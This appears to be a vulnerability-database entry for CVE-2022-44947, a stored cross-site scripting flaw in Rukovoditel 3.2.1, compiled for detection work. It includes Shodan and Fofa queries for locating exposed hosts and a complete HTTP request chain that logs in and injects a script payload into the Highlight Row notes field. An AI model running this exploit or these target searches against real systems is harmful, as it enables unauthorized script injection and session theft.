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CVE-2022-44947: Rukovoditel <= 3.2.1 - Cross Site Scripting

Title	Rukovoditel <= 3.2.1 - Cross Site Scripting
Author	r3Y3r53
Severity	Medium
Impact	Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
Remediation	Upgrade Rukovoditel to a version higher than 3.2.1 to mitigate the XSS vulnerability.
CVSS Score	5.4
EPSS Score	0.01093
CVE ID	CVE-2022-44947
CWE ID	CWE-79
Shodan Query	http.favicon.hash:-1499940355
Fofa Query	icon_hash=-1499940355
Tags	cve2022 cve rukovoditel stored-xss xss authenticated vuln

🔍 Vulnerability Description

Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Highlight Row feature at /index.php?module=entities/listing_types&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Note field after clicking “Add”.

🌐 HTTP Request

GET /index.php?module=users/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

POST /index.php?module=users/login&action=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

form_session_token=mkA1v4&username=2XPtZi&password=fvDJ9l

POST /index.php?module=entities/listing_highlight&action=save&entities_id=24&token=mkA1v4 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15
Connection: close
Content-Length: 156
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

form_session_token=mkA1v4&is_active=1&fields_id=193&fields_values%5B%5D=67&bg_color=&sort_order=&notes=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-44947.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-44947.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A